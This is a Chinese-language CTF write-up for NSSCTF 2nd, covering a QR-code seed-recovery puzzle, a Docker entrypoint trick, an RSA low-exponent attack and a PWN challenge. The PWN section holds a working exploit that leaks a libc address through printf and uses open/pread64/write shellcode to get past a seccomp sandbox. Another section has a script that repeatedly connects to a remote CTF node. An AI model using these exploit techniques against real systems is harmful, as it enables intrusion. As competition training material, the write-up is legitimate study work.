NSSCTF 2nd WP
MISC
gift_in_qrcode
import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64
flag = os.getenv("FLAG")
if flag == None:
flag = "flag{test}"
secret_seed = randrange(1, 1000)
seed(secret_seed)
reveal = []
for i in range(20):
reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)
img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))
offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
(int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
for x in range(img_qrcode.size[0]):
pixel_qrcode = img_qrcode.getpixel((x, y))
if pixel_qrcode == 255:
img_out.putpixel(
(x, y),
(
randrange(offset, offset + delta),
randrange(offset, offset + delta),
randrange(offset, offset + delta),
),
)
else:
img_out.putpixel(
(x, y),
(
randrange(offset - delta, offset),
randrange(offset - delta, offset),
randrange(offset - delta, offset),
),
)
img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")
print(target)
ans = input("What's your answer:")
if ans == str(target):
print(flag)
else:
print("No no no!")
题目所给附件内容如上
分析过后发现直接输入打印出的target即可获得flag
Magic Docker
题目提示执行命令,docker run randark/nssctf-round15-magic-docker
执行过后发现要求输入secrect
查看docker文件
发现app文件下的miain.py文件为
import click
import random
import sys
import os
from time import sleep
@click.command()
@click.option('--secret',help='default=none,between 0 and 100',type=int)
def func(secret):
if str(secret)==str(answer):
print("Congratulations!")
print("But where is your flag? (=‵ω′=)")
else:
print("No! You don't know anything about docker!")
print("How dare you! ")
BANNER="""
███╗ ██╗███████╗███████╗ ██████╗████████╗███████╗ ██████╗ ███╗ ██╗██████╗
████╗ ██║██╔════╝██╔════╝██╔════╝╚══██╔══╝██╔════╝ ╚════██╗████╗ ██║██╔══██╗
██╔██╗ ██║███████╗███████╗██║ ██║ █████╗ █████╔╝██╔██╗ ██║██║ ██║
██║╚██╗██║╚════██║╚════██║██║ ██║ ██╔══╝ ██╔═══╝ ██║╚██╗██║██║ ██║
██║ ╚████║███████║███████║╚██████╗ ██║ ██║ ███████╗██║ ╚████║██████╔╝
╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝
███╗ ███╗ █████╗ ██████╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗███████╗██████╗
████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝ ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██╔████╔██║███████║██║ ███╗██║██║ ██║ ██║██║ ██║██║ █████╔╝ █████╗ ██████╔╝
██║╚██╔╝██║██╔══██║██║ ██║██║██║ ██║ ██║██║ ██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗
██║ ╚═╝ ██║██║ ██║╚██████╔╝██║╚██████╗ ██████╔╝╚██████╔╝╚██████╗██║ ██╗███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
"""
if __name__ == "__main__":
os.system("rm -f /flag")
print(BANNER)
random.seed("NSSCTF 2nd")
answer=random.randint(0,100)
if len(sys.argv)<2:
print("You need to give me the secret!")
else:
func()
若按照预设命令执行完main.py后,容器会删除flag文件
所以我们自定义docker启动命令
直接执行cat /flag
gift_in_qrcode(revenge)
链接一下得到一堆Base64编码
先写个脚本解码Base64保存为png
import base64
# Paste the Base64 encoded string here
base64_string = "your_base64_string_here"
# Decode the Base64 string
decoded_data = base64.b64decode(base64_string)
# Save the decoded data as a PNG file
with open("image.png", "wb") as f:
f.write(decoded_data)
扫码得到二十个随机数
根据计算随机数种子,并计算下一个随机数,输入程序中即可拿到flag
from random import randrange, getrandbits, seed
def poc():
for i in range(1,1000):
secret_seed = i
seed(secret_seed)
a = [97,45,232,198,115,215,226,198,32,189,8,210,84,11,150,134,221,207,167,176]
reveal = []
for i in range(20):
reveal.append(getrandbits(8))
if reveal == a:
flag = getrandbits(8)
return flag
return False
print(poc())
然后最无脑的爆破来了
为什么要爆这么久,早知道我再多爆一会的..
from pwn import *
count = 0
while True:
conn = remote("node5.anna.nssctf.cn", 28380)
conn.recvline().decode()
conn.recvline().decode()
conn.recv().decode()
conn.sendline(str('110').encode())
count += 1
print('count:', count)
output = conn.recvline().decode()
if 'No no no!' not in output:
print(output)
break
Crypto
EzRSA
发现e - 3 ,低加密指数爆破
脚本一把梭
import binascii
import gmpy2
e = 3
# 读入 n, 密文
n = 115383855234466224643769657979808398804254899116842846340552518876890834212233960206021018541117724144757264778086129841154749234706140951832603640953383528482125663673926452745186670807057426128028379664506531814550204605131476026038420737951652389070818761739123318769460392218629003518050621137961009397857
c = 5329266956476837379347536739209778690886367516092584944314921220156032648621405214333809779485753073093853063734538746101929825083615077
i = 0
while 1:
res = gmpy2.iroot(c+i*n,3)
if(res[1] == True):
m=res[0]
print(binascii.unhexlify(hex(m)[2:].strip("L")))
break
print("i="+str(i))
i = i+1
NSSCTF{Rea1_Si9n3n}
FunnyEncrypt
本来想看看能不能词频分析的,结果发现完全对不到
只好根据已知的nssctf和前面的一堆话里面寻找符合预感的字符与字母对应关系 , 慢慢对应着可以找到的
PWN
happy
主函数首先绕过proof,接着fork一个子进程,在父进程中进行一个有沙箱限制的shellcode执行
这个地方在调试的时候可能容易卡住,需要用set follow-fork-mode parent停留在父进程继续调试
首先我们来看proof函数
要想让v4=v3,那么只能通过printf看看可不可以把一些信息泄露出来,然后再通过计算得到puts的地址
通过调试能够发现,printf可以把栈上的数据打印出来,这里选择泄露出_IO_2_1_stderr_的libc地址
计算得到puts的真实地址,绕过proof检测
这里一定注意scanf函数的一些特性,特别是涉及到\n,+-号函数是会部分忽略还是完全忽略还是正常调用十分关键,这可以帮助节约大量调试的时间
参考:https://blog.csdn.net/qq_54218833/article/details/121308367
接下来就是shellcode的编写了
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 0LL, 0LL);
seccomp_rule_add(v1, 0LL, 42LL, 0LL);
seccomp_rule_add(v1, 0LL, 57LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
return seccomp_load(v1);
}
可以看出来禁用了read,connect,execve 调用
这里用open,pread64,write绕过
写exp
from Excalibur import*
contextset()
proc('./pwn')
#debug('b *0x4013FA\nb *0x401514\n')
#debug('b *0x40142E\nb *0x401490\n')
#debug('b *0x401508\n')
debug('b *0x401563\n')
el('./pwn')
lib('./libc.so.6')
puts_got = got('puts')#0x403FF0
stderr = libcsym('_IO_2_1_stderr_')
puts = libcsym('puts')
sla(b'konw',b'16')
for i in range(0,16):
sl(b'+')
#sl(b'a')
ru(b'0')
std = int(rec(15))
prh(std)
libcbase = std - stderr
puts = libcbase+puts
prh(puts)
pr(str(puts))
sda(b'try',str(puts))
bss = 0x4040A0
shellcode ='''
nop
nop
push 0x67616c66
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
push 0x2
pop rax
syscall
'''
#shellcraft.open("flag")
shellcode += '''
push 0x11
pop rax
push 0x4041A0
pop rsi
push 0x3
pop rdi
push 0x64
pop rdx
push 0x0
pop r10
syscall
'''
shellcode += shellcraft.write(1,bss + 0x100, 100)
shellcode = asm(shellcode)
print(shellcode)
print(len(shellcode))
sl(shellcode)
ia()